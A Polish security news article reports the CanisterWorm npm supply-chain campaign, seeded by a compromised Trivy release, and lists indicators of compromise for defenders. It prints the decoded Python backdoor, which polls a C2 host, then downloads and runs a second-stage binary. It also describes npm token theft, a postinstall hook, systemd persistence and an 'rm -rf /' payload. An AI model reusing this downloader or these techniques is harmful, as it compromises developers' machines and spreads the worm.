Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!

CanisterWorm – kolejna kampania malware w ekosystemie npm

10 kwietnia 2026, 04:24 | W biegu | 0 komentarzy

Badacze bezpieczeństwa z StepSecurity zidentyfikowali podejrzane aktualizacje wielu paczek npm. Okazuje się, że jest to nowa kampania – nazwana CanisterWorm – która nie tylko infekuje urządzenia programistów, ale też pakiety, do których mają oni dostęp (z poziomu swojego tokenu). Według ustaleń badaczy początkiem kampanii było wdrożenie złośliwej aktualizacji skanera Trivy, co umożliwiło wykradnięcie wielu poświadczeń w ramach procesów CI/CD.

TLDR:

  • Malware wykrada kolejne tokeny npm z maszyny ofiary i wykorzystuje je do dalszej publikacji złośliwych pakietów, prowadząc do samoreplikacji kampanii.
  • Badacze bezpieczeństwa z StepSecurity wykryli kampanię CanisterWorm, która wykorzystuje ekosystem npm do rozprzestrzeniania malware poprzez złośliwe aktualizacje pakietów.
  • Jako źródło incydentu wskazywana jest złośliwa aktualizacja narzędzia Trivy, które w zainfekowanej wersji wykradało poświadczenia z procesów CI/CD.
  • Atakujący użyli przejętych tokenów do publikowania złośliwych wersji pakietów, co umożliwiło dalszą replikację ataku.
  • Zainfekowane pakiety zawierają hook postinstall, który automatycznie uruchamia payload przy uruchamianiu npm install.

Trivy to otwartoźródłowe narzędzie (“skaner bezpieczeństwa”) do wykrywania m.in. podatności w wykorzystywanych zależnościach, błędów konfiguracji, ujawnionych poświadczeń (sekretów) oraz problemów z licencjami. Przydatne w procesach DevSecOps do automatycznego sprawdzania bezpieczeństwa aplikacji i infrastruktury.

Na początku marca 2026 atakujący uzyskali dostęp do organizacji Aqua Security na GitHub, co pozwoliło im na opublikowanie złośliwej aktualizacji Trivy (v0.69.4). W tej wersji oryginalna domena została podmieniona na kontrolowaną przez atakujących (scan[.]aquasecurtiy[.]org – zamieniona kolejność dwóch liter). Przejęli również GitHub Actions trivy-action i setup-trivy, dodając do nich payloady wykradające poświadczenia, które odczytywały zmienne środowiskowe.

Każde uruchomienie zmodyfikowanej akcji lub pliku binarnego Trivy powodowało wykradnięcie wszystkich sekretów – w tym tokenów npm – z danego środowiska. Wykradzione poświadczenia umożliwiły dostęp do kont npm deweloperów, a w konsekwencji opublikowanie złośliwych aktualizacji ich paczek. Przykładowo dla @opengov wdrożono złośliwe aktualizacje 16 pakietów.

Każda złośliwa wersja zawiera backdoor napisany w Pythonie i uruchamiany poprzez hook postinstall (a więc po wykonaniu przez użytkownika komendy npm install). W efekcie wystarczy, że jedna z paczek wykorzystywanych w naszym projekcie zostanie w ten sposób zaktualizowana, a uruchomienie pozornie niewinnej komendy spowoduje wykonanie złośliwego kodu na naszym urządzeniu.

Malware oprócz bezpośredniej infekcji ofiary prowadzi również do dalszego rozpowszechniania (samoreplikacji) kampanii. Najpierw ustanawia usługę systemd (aby działać także po restarcie) i komunikuje się z serwerem C2 hostowanym na blockchainie Internet Computer. Równocześnie z urządzenia ofiary wykradane są tokeny npm, dzięki czemu możliwa jest publikacja złośliwych aktualizacji w każdym pakiecie, do którego ofiara ma dostęp.

Złośliwa aktualizacja wdrażała hook postinstall z komendą node index.js w pliku package.json – kod ten wykonywany jest automatycznie przy każdym użyciu npm install.

Z kolei w index.js dodano zmienną, której wartość (zakodowana jako base64) stanowiła payload napisany w Pythonie:

import urllib.request
import os
import subprocess
import time

C_URL = “https://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/”
TARGET = “/tmp/pglog”
STATE = “/tmp/.pg_state”

def g():
    try:
        req = urllib.request.Request(C_URL, headers={‘User-Agent’: ‘Mozilla/5.0’})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode(‘utf-8’).strip()
            return link if link.startswith(“http”) else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, “w”) as f: 
            f.write(l)
    except:
        pass

if __name__ == “__main__”:
    time.sleep(300)
    while True:
        l = g()
        prev = “”
        if os.path.exists(STATE):
            try:
                with open(STATE, “r”) as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and “youtube.com” not in l:
            e(l)
            
        time.sleep(3000)

Listing 1 – treść payloadu po zdekodowaniu, źródło: npmjs.com

Atakujący opatrzył taki sposób wykonania komentarzem:

Rys. 1 – payload w index.js, źródło: npmjs.com

Podejrzewamy, że – oprócz wskazanej w komentarzu braku wprawy w JavaScript – było to związane z utrudnianiem wykrycia złośliwego kodu przez skanery i inne narzędzia.

Zmodyfikowany plik index.js oprócz zakodowanego payloadu zawiera również funkcję findNpmTokens(), która odczytuje tokeny uwierzytelniające npm z plików na poziomie projektu, zmiennych środowiskowych oraz globalnej konfiguracji npm. Są one później wysyłane do serwera C2.

Rys. 2 – findNpmTokens() w index.js, źródło: npmjs.com

Z kolei payload w Pythonie zapisywany jest na dysku użytkownika pod ścieżką ~/.local/share/pgmon/service.py, a pod ~/.config/systemd/user/pgmon.service tworzona jest usługa systemd, dzięki czemu malware działa także po zrestartowaniu urządzenia. Nie wymaga uprawnień administratora, uruchamia się automatycznie przy logowaniu i restartuje w razie awarii.

Gdy usługa systemd działa, malware zaczyna odpytywać endpoint C2 utrzymywany na blockchainie Internet Computer Protocol (ICP):

https[:]//tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io

Listing 2 – endpoint C2 [nawiasy red.], źródło: stepsecurity.io

Pliki kolejnego etapu pobierane są do katalogu /tmp/pglog. Atakujący wykorzystali ICP jako infrastrukturę C2 zapewne po to, by utrudnić jego zablokowanie.

Payload drugiego etapu dostarczany przez ICP nie jest stały. Według ustaleń badaczy zawartość jest inna w zależności od środowiska ofiary – od kradzieży danych uwierzytelniających po wykonanie rm -rf / –no-preserve-root.

Jest to kolejna kampania pokazująca, jak niebezpieczne są ataki w łańcuchu dostaw. Nawet wiarygodne oprogramowanie może stać się złośliwe, jeśli atakujący dostaną się do infrastruktury jego dostawcy. W tym przypadku pomóc mogłoby (w miarę możliwości) ograniczenie tokenów do konkretnych adresów IP oraz limitowanie przyznawanych uprawnień/dostępów. Nie zapobiegnie to atakowi, ale może złagodzić jego potencjalne skutki.

IOC

Domeny:

  •  tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io – endpoint C2
  •  scan[.]aquasecurtiy[.]org – domena atakujących ze złośliwej aktualizacji Trivy

Pliki:

  • ~/.local/share/pgmon/service.py – payload Python
  • ~/.config/systemd/user/pgmon.service – serwis systemd
  • /tmp/pglog – binarka drugiego etapu
  • /tmp/.pg_state – tracker pobrania drugiego etapu

Źródło: stepsecurity.io

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz